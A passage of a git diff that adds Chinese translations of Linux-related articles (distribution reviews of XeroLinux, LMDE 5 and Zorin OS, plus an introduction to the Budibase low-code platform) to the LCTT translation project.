最主要的优点是支持所有桌面环境 — KDE Plasma、 GNOME、 Xfce、 LXQT、 MATE 等等。 + +> **[阅读有关 Garuda Linux 更多信息][14]** + +![Garuda Linux][15] + +#### 7、Linux Mint Cinnamon 版 + +我们推荐 Linux Mint 是因为它非常的简洁、优美和稳定。它是目前最被广泛使用和出名的 Linux 发行版之一,或许其使用人数仅在 Ubuntu 之下。但和本列表中其他 Linux 发行版比较起来,它看起来不是很精美。 + +不过,如果你喜欢看起来很棒的经典用户桌面,默认的 Cinnamon 桌面看起来干净且完美。 + +Linux Mint Cinnamon 版对所有用户都非常友好,特别是第一次使用 Linux 或者从 Windows 转到 Linux 的用户。其默认的外观和体验和 Mint 的绿色调色板都能使人耳目一新。 + +如果你无法确定用哪个既稳定又养眼的 Linux 发行版,那就毫不犹豫的选择 Linux Mint Cinnamon 版。 + +> **[阅读有关 Linux Mint 更多信息][16]** + +![Linux Mint 20 — Cinnamon 版本桌面][17] + +#### 8、Nitrux OS + +[Nitrux Linux][18] 基于 Debian ,其特点是一个名为 NX 桌面的 KDE Plasma 修改版。这个独特的 Linux 发行版有一套建立在 Maui 套件和 Qt 之上的 Nitrux 应用。 Nitrux 不使用 systemd,而使用 OpenRC 作为初始化系统。凭借其独特的功能和外观,Nitrux 是目前最好的 Linux 发行版之一。 + +Nitrux OS 的默认外观设计得非常完美,它采用经过改进的 KDE Plasma 桌面,带有 Kvantum 主题引擎、图标主题、调色板、光标主题等。 Nitrux OS 背后的团队还开发了名为 Maui Shell 的独立桌面,这是一个美丽的融合型桌面,可以根据屏幕大小进行自我调整。 + +如果你需要一款稳定方便的 KDE Plasma 桌面,那么 Nitrux OS 非常适合你。你不会失望的。 + +> **[阅读有关 Nitrux OS 更多信息][18]** + +![Nitrux 2.0 桌面][19] + +#### 9、优麒麟 + +优麒麟是一个官方的 Ubuntu 版本,是专门为使用简体中文的中国人设计的。但它同时也支持其他语言。 + +这个修改版的 Ubuntu 使用优麒麟用户界面(也称为 UKUI)。 UKUI 桌面使用 Qt 开发,支持 MATE 桌面组件。 + +优麒麟看起来精致,就外观和设计而言,就像是 GNOME 和 KDE Plasma 的结合。 + +优麒麟具有设计精美的图标集、底部任务栏,漂亮的应用程序视图、应用程序切换器,圆角窗口等精心制作的功能。 + +> **[阅读有关优麒麟更多信息][20]** + +![优麒麟桌面][21] + +#### 10、Pop!_OS + +Pop!_OS 是由生产计算机硬件的 System76 公司开发的。 这个基于 Ubuntu 的 Linux 发行版已经预装在所有 System76 硬件上。不过,你也可以从其官方仓库下载然后安装到你的机器上。 + +Pop!_OS 的特点是在默认的 GNOME 桌面上带有额外的调整和配置。此桌面具有 GNOME 40 时代之前的特点,预配置了多个扩展和调整。比如你可以获得一个可以配置为在桌面中自由调整的底部停靠栏、一个用于启动应用程序的启动器、圆角窗口等诸如此类的功能。此桌面还有自动平铺和优化的键盘导航功能,可提高你的工作效率。 + +其外观和感觉都很干净,设计精美,有调色板,内置了深色模式、圆角窗口,以及图标主题。 + +> **[阅读有关 Pop!_OS 更多信息][22]** + +![Pop!_OS 21.10 桌面][23] + +### 结语 + +希望这份 2022 最美 Linux 发行版榜单能帮你选择你想要的桌面或者系统。 因为这些 Linux 发行版已经配置好,看起来很漂亮,而且它们性能很强大。 + +选择并开始你的 Linux 之旅吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/beautiful-linux-distributions-2022/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[amagicboy](https://github.com/amagicboy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/category/distributions +[2]: https://zorin.com +[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/Zorin-OS-16-Desktop-1024x576.jpg +[4]: https://elementary.io/ +[5]: https://www.debugpoint.com/wp-content/uploads/2021/08/elementary-OS-6-ODIN-Desktop-1024x576.jpg +[6]: https://www.deepin.org/zh/ +[7]: https://www.debugpoint.com/wp-content/uploads/2020/09/Deepin-20-Desktop-1024x568.jpg +[8]: https://cn.cutefishos.com/ +[9]: https://www.debugpoint.com/2021/11/cutefish-os-review-2021/ +[10]: https://www.debugpoint.com/wp-content/uploads/2021/11/Cutefish-OS-1024x581.jpg +[11]: https://manjaro.org/downloads/official/kde/ +[12]: https://www.debugpoint.com/wp-content/uploads/2022/03/Manjaro-KDE-Plasma-1024x576.jpg +[13]: https://www.debugpoint.com/2020/10/10-things-to-do-fedora-33-after-install/ +[14]: https://garudalinux.org/ +[15]: https://www.debugpoint.com/wp-content/uploads/2022/03/Garuda-Linux-1024x577.jpg +[16]: https://linuxmint.com/ +[17]: https://www.debugpoint.com/wp-content/uploads/2020/07/Linux-Mint-20-Cinnamon-Edition-Desktop-1024x763.png +[18]: https://nxos.org/ +[19]: https://www.debugpoint.com/wp-content/uploads/2022/03/Nitrux-2.0-Desktop-1024x581.jpg +[20]: https://www.ubuntukylin.com +[21]: https://www.debugpoint.com/wp-content/uploads/2022/03/Ubuntu-Kylin-Desktop-1024x574.jpg +[22]: https://pop.system76.com/ +[23]: https://www.debugpoint.com/wp-content/uploads/2021/12/Pop-OS-21.10-Desktop-1024x579.jpg +[24]: https://t.me/debugpoint +[25]: https://twitter.com/DebugPoint +[26]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[27]: https://facebook.com/DebugPoint diff --git a/published/202204/20220317 XeroLinux- A Beautiful Arch-based Linux With Excellent Customizability by Default.md b/published/202204/20220317 XeroLinux- A Beautiful Arch-based Linux With Excellent Customizability by Default.md new file mode 100644 index 0000000000..22623f4af1 --- /dev/null +++ b/published/202204/20220317 XeroLinux- A Beautiful Arch-based Linux With Excellent Customizability by Default.md @@ -0,0 +1,169 @@ +[#]: subject: "XeroLinux: A Beautiful Arch-based Linux With Excellent Customizability by Default" +[#]: via: "https://itsfoss.com/xerolinux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14422-1.html" + +XeroLinux:一个漂亮的基于 Arch 的 Linux,天生具备出色的可定制性 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/02/102130wl7d50v1zpti7s25.jpg) + +Arch Linux 是那些希望对他们的操作系统有更多控制权的 Linux 用户的一个流行选择。 + +虽然许多有经验的用户对 Arch Linux 进行了定制,以提供一些最好的用户体验(就其用户界面而言),但对于新的 Linux 用户来说,这可能是一个挑战。 + +如果你不了解 Arch Linux 的具体情况,你可能想读一下这篇 [Ubuntu 与 Arch Linux 比较][1] 的文章。 + +然而,还有一些 [基于 Arch 的发行版][2] 旨在提供一个更容易上手的体验,而不会剥夺你的控制权。 + +**XeroLinux** 是我们最近遇到的其中一个。 + +### XeroLinux:又一个基于 Arch 的发行版 + +![][3] + +[XeroLinux][4] 是 Steve(又名 [TechXero][5])的个人项目,旨在提供一个“华丽”的 Arch Linux 版本。 + +请注意,这是一个充满激情的项目,而不是一个由庞大的贡献者团队支持的主流发行版(还没有)。在你替换你的主系统前,你应该先在虚拟机或测试机上试用它。 + +在这里,我们会为其愉快的开箱即用体验和一些令人更兴奋的地方,简单介绍一下 XeroLinux 的特色。 + +### 安装的简易性 + +XeroLinux 使用 [Calamares 安装程序][6] 来让你轻松地安装 Linux 发行版,而不需要依赖终端或 [引导式 Arch 安装程序][7]。 + +虽然安装体验与流行的 Linux 发行版相似,但你可以在安装时选择图形驱动程序、特定的 Linux 内核和工具。 + +![][8] + +你可以安装 System76 的电源管理驱动,并启用对 Nvidia Optimus Manager 的支持,为你的笔记本电脑切换显卡。有趣! + +你还可以在安装时选择密码管理器、主题、浏览器和各种不同的软件包,这应该会让使用变得很方便。 + +考虑到你可以以选择的形式设置所有基本选项,你在安装后没有太多可担心的。 + +![][9] + +当你选择了需要的东西,只需重新启动并开始使用桌面。 + +### 用户体验 + +XeroLinux 的开箱即用的体验令人印象深刻。桌面的整体外观和感觉包括许多新的功能补充,如显示 CPU 使用情况、网络速度等的小工具。 + +它还支持全局菜单,使应用程序窗口看起来更干净,为 macOS 用户切换到 Linux 提供了舒适的体验。 + +![][10] + +通过所有预装的应用,你可以轻松地安装新的软件,卸载现有的工具并进行各种操作。 + +它同时具有 pamac 和 [Synaptic 包管理器][11](可在安装时选择)。因此,你可以获得大量的软件工具,你可以通过它们中的任何一个轻松安装。 + +其他产品包括两个文件管理器(Dolphin 和 Thunar)、Yakuake 终端、Spectacle 屏幕截图、KWrite、Konsole 等主要 KDE 版本中的其他 KDE 工具。 + +如果你不喜欢 Yakuake 终端仿真器,请参考我们的 [终端仿真器列表][12],找到它的替代品。 + +![][13] + +另外不要忘了,你会得到一个定制的锁屏(登录屏),看起来很不错! + +![][14] + +当你启动系统时,你还会注意到一个 **XeroLinux 配置工具**。它可以让你快速执行一些基本任务,比如检查 NVIDIA 显卡、安装 KVM/QEMU、禁用自动启动、安装 KDE 窗口平铺,以及其他一些配置,如下图所示。 + +![][15] + +### 可定制性 + +XeroLinux 在其主版本中采用了 KDE 桌面环境。因此,你自然会有无尽的定制选项。 + +最好是参考我们的 [KDE 定制指南][16]来获得帮助。 + +除此之外,你还可以看到 [Latte Dock][17],你可以根据自己的喜好进行定制和调整。 + +![][18] + +有几个定制停靠区的选项,确保你仔细调整设置,以免看起来很奇怪。 + +![][19] + +此外,你会得到 [Kvantum Manager][20],可以帮助你安装外部主题。 + +如果这还不够,开发者还提供了一些 RICE/主题和 Grub 主题,你可以在 [官方网站][4] 或 [GitHub 仓库][21] 上找到所列的主题。 + +(LCTT 译注:RICE 不是指大米。它是 “受赛车启发的美容强化Race Inspired Cosmetic Enhancements” 的缩写。原意是指:给汽车增加的部件,使它们看起来很快,但其实内部调校,实际上一样慢。在 Linux 上指各种对桌面的粉饰,使其看起来花哨。) + +换句话说,开发者提供的一些脚本可以帮助你进行改造,但请注意,最好是自己定制,这样就不会出现其他问题。 + +### 桌面环境选项 + +主版本使用的是 KDE,但如果你想尝试一下,你也有另一个 XFCE 变体。(LCTT 译注:由于项目作者实在无力维护两个 DE,因此放弃了 XFCE 变体。) + +XFCE 版是为旧系统量身定做的(或者如果你需要节省系统资源)。 + +它最初还提供了一个 GNOME 版本,但由于每次更新都会出现扩展失效的问题,所以它放弃了对它的支持。如果你对桌面环境感到好奇,你可能想通过我们的 [KDE Plasma 对比 GNOME][22] 文章来了解它们的区别。 + +### 性能 + +考虑到它具有最新可用的 [Linux 内核 5.16][23],它应该可以在各种硬件配置下正常工作。 + +但是,我还没有在裸机上测试过它。根据我虚拟机的使用经验,它运行良好,没有任何特殊问题。 + +以下是其 KDE 版本的资源使用情况: + +![][24] + +使用它的 XFCE 变体时,你可能会注意到较低的资源使用率。 + +### 你应该试试 XeroLinux 吗? + +我喜欢 XeroLinux 的外观和感觉。 + +不仅限于此,在安装时你还可以选择多种软件包和做出各种最好的选择。 + +> [尝试 XeroLinux][4] + +如果你在安装时就知道自己需要什么,那么它应该是一个有吸引力的基于 Arch 的 Linux 发行版。 + +你试过 XeroLinux 了吗? 在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/xerolinux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/ubuntu-vs-arch/ +[2]: https://itsfoss.com/arch-based-linux-distros/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-home.jpg?resize=800%2C450&ssl=1 +[4]: https://xerolinux.xyz/ +[5]: https://twitter.com/TechXero +[6]: https://calamares.io/ +[7]: https://itsfoss.com/install-arch-linux-virtualbox/ +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-install-1.png?resize=800%2C555&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-install.png?resize=800%2C555&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-ui.jpg?resize=800%2C398&ssl=1 +[11]: https://itsfoss.com/synaptic-package-manager/ +[12]: https://itsfoss.com/linux-terminal-emulators/ +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-utilities.jpg?resize=800%2C652&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-lockscreen.jpg?resize=800%2C546&ssl=1 +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-configuration-tool.jpg?resize=800%2C480&ssl=1 +[16]: https://itsfoss.com/kde-customization/ +[17]: https://github.com/KDE/latte-dock +[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-latte-dock.png?resize=800%2C134&ssl=1 +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-latte-dock-options.jpg?resize=800%2C570&ssl=1 +[20]: https://store.kde.org/p/1005410/ +[21]: https://github.com/xerolinux/xero-layan-git +[22]: https://itsfoss.com/kde-vs-gnome/ +[23]: https://news.itsfoss.com/linux-kernel-5-16/ +[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/xerolinux-resource.png?resize=800%2C468&ssl=1 \ No newline at end of file diff --git a/published/202204/20220325 Budibase- An Open-Source Low-Code Platform to Build Modern Business Apps.md b/published/202204/20220325 Budibase- An Open-Source Low-Code Platform to Build Modern Business Apps.md new file mode 100644 index 0000000000..0344340f04 --- /dev/null +++ b/published/202204/20220325 Budibase- An Open-Source Low-Code Platform to Build Modern Business Apps.md @@ -0,0 +1,141 @@ +[#]: subject: "Budibase: An Open-Source Low-Code Platform to Build Modern Business Apps" +[#]: via: "https://itsfoss.com/budibase/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14433-1.html" + +Budibase:构建现代商业应用的开源低代码平台 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/05/120744w3ed33lnvp88vv1n.jpg) + +你可能会遇到各种各样的工具来帮助你快速构建企业的应用。 + +然而,大多数值得信赖的选择往往是专有产品。因此,你将被锁定在他们的平台上,而对于你利用什么来构建的应用,没有足够的了解。 + +开源的解决方案应该是一个完美的替代品,让你安心,并对你的关键业务应用充满信心。 + +Budibase 就是这样一个令人印象深刻的解决方案。 + +### Budibase:开源的低代码平台让事情变得简单 + +Budibase 是一个越来越受欢迎的开源低代码平台,可以帮助你为企业建立应用。 + +你可以从头开始创建应用,或者使用现有的模板来快速建立表单、机构-客户门户、汽车租赁管理面板、会计师门户、职位申请追踪器等等。 + +![][1] + +虽然它确实使事情变得简单,而不需要你有必要的编程技巧,但它也提供了一些控制,让你在一定程度上定制应用。 + +它支持一系列的数据源:MySQL、Rest API、OracleDB、MongoDB、Google 表格等。 + +你可以选择自我托管并在你的服务器上部署应用,或者利用 Budibase 的云托管服务。 + +### Budibase 的特点 + +[Budibase][2] 提供了大部分的基本功能。让我在这里强调一下重要的功能: + + * 支持外部数据源,包括 MongoDB、MySQL 等。 + * 支持 Rest API 拉取数据。 + * 能够使用应用的内置数据库或上传 CSV 来导入数据。 + * 各种数据类型和功能,包括附件、关系、公式等。 + * API 整合平台,整合不同的 API,帮助你轻松建立内部应用、表单等。 + * 能够使用内部表格生成自动页面。 + * 构建单页应用。 + * 自动生成的 CRUD(创建、读取、更新和删除)页面 + * 私人和公共应用。 + * 只需点击几下就可以定制你的应用的主题。 + * 容易为你的应用实现深色模式主题。 + * 一个功能丰富的表单生成器,满足广泛的要求。 + * 支持 Webhook。 + * 与诸如 Zapier 等的第三方集成。 + * 基于特定触发器的灵活自动化选项。 + * 能够将 JavaScript 添加到你的自动程序中。 + * 为拥有自己基础设施的用户提供自我托管选项。 + * 免费的单点登录认证/管理。 + * 用户管理选项,将团队分配到不同的应用。 + * 支持 SMTP 电子邮件。 + * 电子邮件模板,以配合你的品牌和风格。 + * 支持 OAuth 登录。目前仅限于谷歌。 + * 图表、表格和卡片来优雅地展示数据。 + +总的来说,当你登录到该服务并查看其产品时,还有很多东西可以探索。 + +在我短暂的使用中,我发现用户界面很舒适,很容易使用。为了给你更多的认识,我在下面分享了更多关于使用 Budibase 的信息。 + +### 使用 Budibase 快速建立一个应用 + +在使用此类服务时,用户体验是首要因素。 + +Budibase 在这方面没有让你失望。当你开始使用 Budibase 时,你会得到一个很好的用户体验。 + +就我使用过的开源平台而言,用户体验并不总是强项。但是,在这种情况下,是用户体验使这个工具易于使用。 + +你可以迅速开始建立一个应用程序,添加你的源,并在几次点击中开始设计。 + +![][3] + +你可以选择内部数据库或选择外部源。该平台让你根据需要编辑/创建/导入数据。 + +![][4] + +而且,只需点击几下(取决于你应用的规模),你就可以开始设计屏幕和调整布局。 + +![][5] + +它完全是一个可视化编辑器,所以你会得到你所看到的东西。在布局中添加容器、分区、表单、卡片、图表和许多其他元素。 + +![][6] + +调整主题是一件轻而易举的事。因此,你可以根据你的要求,匹配你的品牌风格/样式,或者根据你的要求进行创意。 + +![][7] + +你可以轻松地编辑数据,创建新的数据字段,也可以为数据启用搜索索引。 + +![][8] + +不要忘了,你还可以获得所有的自动化选项,与其他服务集成,使用 Webhook、cron 任务或应用动作来响应触发器。这些是为你的用户建立一个最有效的应用的一些最重要的东西。 + +下面是我使用 Budibase 建立一个样本应用跟踪系统时的情况: + +![][9] + +当然,你可以选择在你的服务器上发布应用,或者使用 Budibase 的云服务。 + +### 总结 + +Budibase 是一个非常有用的低代码平台,应该可以帮助个人和企业快速建立各种应用。你应该在其官方网站和 [GitHub 页面][10]上探索更多关于它的信息。 + +> [Budibase][2] + +它消除了聘请专家为各种用例构建应用的需要。而且,作为一个你可以自行托管的开源平台,它可以让你扩展并提供对构建应用的完全控制,而无需支付额外费用。 + +如果需要,你还可以选择其企业产品,提供高级支持和专门定制的服务。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/budibase/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-home.png?resize=800%2C467&ssl=1 +[2]: https://budibase.com/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-data-sources.png?resize=800%2C597&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-edit-fields.png?resize=800%2C693&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-design.png?resize=800%2C477&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-layout.png?resize=800%2C515&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-theme-tweak.png?resize=800%2C696&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibas-application-create.png?resize=800%2C274&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/budibase-sample-app.png?resize=800%2C364&ssl=1 +[10]: https://github.com/Budibase/budibase diff --git a/published/202204/20220325 Linux Mint Debian Edition 5 - Perfection with Stability -Review.md b/published/202204/20220325 Linux Mint Debian Edition 5 - Perfection with Stability -Review.md new file mode 100644 index 0000000000..fd55370a6a --- /dev/null +++ b/published/202204/20220325 Linux Mint Debian Edition 5 - Perfection with Stability -Review.md @@ -0,0 +1,152 @@ +[#]: subject: "Linux Mint Debian Edition 5 – Perfection with Stability [Review]" +[#]: via: "https://www.debugpoint.com/2022/03/linux-mint-debian-edition-5-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14467-1.html" + +Linux Mint Debian Edition(LMDE) 5 – 完美稳定 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/13/132621gz9v9c49k349ebe4.jpg) + +> 我们对最近发布的 Linux Mint Debian Edition 5(LMDE 5)的性能、稳定性和用户友好性等方面进行了评测。这里是我们的发现。 + +在 Linux Mint Debian Edition LMDE 4(Debbie)发布两年多后,Linux Mint 团队宣告了 Linux Mint Debian Edition LMDE 5(LMDE 5)的发布。LMDE 5 基于 [Debian 11 Bullseye][1] ,它带来了长期支持的 Linux 内核 5.10 和 Debian 软件包源。除内核版本以外,大多数的应用程序和软件包与 Linux Mint 20.3 几乎完全相同。 + +让我们深入了解一下。 + +### LMDE 5 评测 + +我们测试 Linux Mint Debian Edition 5(LMDE 5)是在现有的较旧的硬件下: + + * 英特尔酷睿 i3 第一代 + * 4GB DDR3 内存 + * 博通芯片 + * 英伟达® GeForce® 315M + * 固态硬盘 + +#### ISO 下载、现场介质和安装 + +从新设计的 Linux Mint 网站找到并下载 ISO 文件是很容易的。现场介质Live media启动很顺利,通过桌面上的安装图标启动了安装程序。 + +LMDE 使用的一款修改版的 Debian 安装器。它不是 Calamares 。普通的 Debian 安装器是很难操作的,[在我看来] 有点 [让新用户感到困惑][2] 。但是,Linux Mint 团队使其非常容易安装,只需几个步骤,并从 Debian 安装器中移除了所有使人困惑的选项。 + +你只需要提供安装位置、键盘布局、名字和密码,就可以开始安装了。安装器的分区系统使用 GParted ,它很方便好用。 + +因此,在我的测试的虚拟机和物理机硬件中,安装过程都很顺利。 + +在物理机系统中安装花费了 4 到 5 分钟,而虚拟机系统中的安装时间约为 3 分钟。 + +#### 第一印象 + +![Linux Mint Debian Edition 5 \(LMDE5\) Desktop][3] + +如果你熟悉 Linux Mint 早期的 Cinnamon 桌面,那么你不会在这个 Debian 版本中找到什么不同。它们是一样的。如果你是第一次使用 Linux Mint 的 Cinnamon 桌面环境,那么在你完成你的安装后,你会看到一个漂亮而干净的桌面。 + +桌面图标、完美调整过的颜色和主题、底部任务栏、系统托盘,这一切都配合有序,让你能够立刻上手。 + +不管你使用低端还是高端的硬件,LMDE 都能快速响应,应用程序能够很好的工作。应用程序的切换和整体桌面的响应都很可靠。 + +你得到的是经过良好测试的应用程序和软件包,而基于 Debian 的稳定性,很少会出现故障。这意味着不必担心软件包的冲突、更新缺失,以及 Linux 系统的常见问题。 + +#### 预装的应用程序 + +Linux Mint(不仅仅是 Debian 版本)的优势之一是它的预装的应用程序。许多 Linux 发行版由于 ISO 大小等原因,在 ISO 安装程序中不包括必要的应用程序。 + +但是,Linux Mint 团队全心全意为它们的用户考虑,打包了所有你需要的必要应用程序。这照顾到了大多数用户的需求。它有助于减少最终用户在安装 LMDE 5 后搜索和安装兼容应用程序方面的负担。 + +例如,在 LMDE 5 中,已默认安装下面的必备软件,随时待用: + + * 绘图应用 + * 多媒体:Celluloid 媒体播放器、Hypnotix、Rythmbox + * Torrent 客户端:Transmission 3.0 + * 完整的办公套件:LibreOffice 7.0 + * Email 客户端:Thunderbird 91.0 + * 网页浏览器:Firefox 97.0 + +这不是所有。对于下面的所有的具体使用情况,你都会得到一个专门的原生应用程序。用户不需要为这些寻找一个单独的应用程序: + + * 屏幕截图和屏幕保护程序 + * 减少眼睛疲劳的工具 + * USB 格式化工具和镜像写入器 + * 便签 + * Synaptic 软件包管理器 + * 系统备份和恢复 + * 防火墙工具 + +#### LMDE5 的性能表现怎么样? + +看到一个发行版按照预期的表现,总是令人感兴趣的。而 LMDE 5 的性能表现远超预期。 + +在空闲状态下,它消耗 750 MB 的内存和 2% 的 CPU 。 + +![Performance During the light workload][5] + +接下来,我使用下面的任务让它完成繁重的工作负载: + + * Firefox(打开三个标签页,其中一个播放 YouTube 视频) + * LibreOffice Calc(打开一个表格) + * 绘图应用程序(打开一个实例) + * 设置 + * 一个终端窗口 + * 文件管理器 + +在上述的工作负载中,它消耗了大约 1.5 GB 的内存和 14% 的 CPU 。显然,大部分的资源都被 Firefox 消耗了。 + +![Performance During heavy workload][6] + +在我看来,这是一个完美的指标,而且对旧硬件进行了很好的优化分配。上述指标是在物理机系统上测量的。 + +#### 连接性 + +连接性是任何操作系统的不可或缺的一部分。LMDE 5 能够连接到 Wi-Fi(使用一款老旧的博通芯片)和连接到蓝牙音箱,而不需任意的额外调整。 + +在我的测试期间,音量控制与蓝牙守护进程配合得很好。 + +此外,我们也测试了 USB 接口设备的热插拔,它们可以自动侦测和挂载,而没有遇到任何问题。 + +所以,没有什么意外,这也是意料之中的。 + +### 有什么错误吗? + +我在测试期间没有遇到任何错误。一切都运行良好。 + +但是当我关闭我的物理测试系统的笔记本盖板时,我发现一个错误。在它进入待机状态后,不能将其唤醒。我无法看到登录屏幕,屏幕是黑色的,没有任何光标。我必须因重启才能进入系统。 + +这可能是我测试设备上的特定硬件设备的问题。我相信它在新的硬件系统上不会有任何的问题。 + +### 总结 + +总结一下 LMDE 5 的评测,它显然是最稳定、最优化的 Linux 发行版。如果你计划在未来两年或更长的时间段内使用一款用于日常用途的系统,你可以信赖这个版本。因此,如果你需要一款非基于 Ubuntu 的稳定的、快速的、低维护率的长期日用系统,并运行在你的旧机器或新机器上,这会是一个完美的选择。请试试。 + +你可以 [在官方网站上][7] 下载 LMDE 5 。 + +感谢阅读。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/linux-mint-debian-edition-5-review/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2021/05/debian-11-features/ +[2]: https://www.debugpoint.com/2021/01/install-debian-buster/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/03/Linux-Mint-Debian-Edition-5-LMDE5-Desktop-1024x580.jpg +[4]: https://www.debugpoint.com/2021/12/zorin-os-16-lite-review-xfce/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/03/Performance-During-light-workload-1024x606.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/03/Performance-During-heavy-workload-1024x601.jpg +[7]: https://linuxmint.com/edition.php?id=297 +[8]: https://t.me/debugpoint +[9]: https://twitter.com/DebugPoint +[10]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[11]: https://facebook.com/DebugPoint diff --git a/published/202204/20220329 5 Reasons Why-Zorin OS-is an Ideal Choice for Beginners.md b/published/202204/20220329 5 Reasons Why-Zorin OS-is an Ideal Choice for Beginners.md new file mode 100644 index 0000000000..5ee210b85a --- /dev/null +++ b/published/202204/20220329 5 Reasons Why-Zorin OS-is an Ideal Choice for Beginners.md @@ -0,0 +1,128 @@ +[#]: subject: "5 Reasons Why Zorin OS is an Ideal Choice for Beginners" +[#]: via: "https://news.itsfoss.com/why-zorin-os-beginners/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14418-1.html" + +为什么 Zorin OS 是初学者的理想选择 +====== + +> 对于初学者来说,Zorin OS 是一个绝佳的选择。本文将说明我们认为 Zorin OS 是理想选择的 5 个理由。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/zorin-os-beginners.png?w=1200&ssl=1) + +Zorin OS 无疑是目前最 [漂亮的 Linux 发行版][1] 之一。 + +然而,它并不局限于有一个漂亮的外观。与其他一些竞争者相比,它也在总体上提供了良好的用户体验。 + +所以,这就是为什么我们也推荐它作为 [新用户的首选之一][2]。本文中,我将重点介绍一些原因,正是它们使 Zorin OS 成为初学者的理想选择。 + +### 1. 类似 Windows 的用户界面 + +![][3] + +考虑到 Windows 庞大的用户基础,大多数刚接触 Linux 的用户都是从 Windows 转过来的。 + +如果你已经使用过某个 [流行的 Linux 发行版][4],你当然可以很轻松地切换到其他发行版。 + +然而,如果你从未使用过 Linux,那么对你而言,用户界面越熟悉,你就会越适应。 + +[Zorin OS][5] 是众多 [Windows 风格的 Linux 发行版][6] 之一,在这里你可以找到与 Windows 10 和 11 的开始菜单/任务栏相似的的菜单/布局。 + +![Zorin OS 的 Windows 11 布局][16] + +Windows 11 的布局在其专业版中提供(我们稍后会讨论到它)。 + +### 2. 出色的用户体验 + +与 Linux Mint、Ubuntu 等发行版相比,Zorin OS 提供了一个独特而精致的外观。 + +它的图标、动画效果和整体视觉效果(以及可用的壁纸)都看起来令人惊叹,并且它们完美地适合于任何现代系统。 + +![][7] + +Zorin OS 预装了必要的应用程序,让你有一个良好的初始体验,并使你可以十分方便地 [在 Linux 上安装 Windows 软件][8](如果你在软件中心没有找到这个软件的话)。 + +![][9] + +在使用 Zorin OS 的过程中,我从未遇到过错误,也不需要使用终端来完成工作。所以,我想说,它提供了用户友好的体验。 + +虽然 [我日常使用的系统是 Pop!_OS][10],但偶尔切换到 Zorin OS 也是一种新鲜的体验。 + 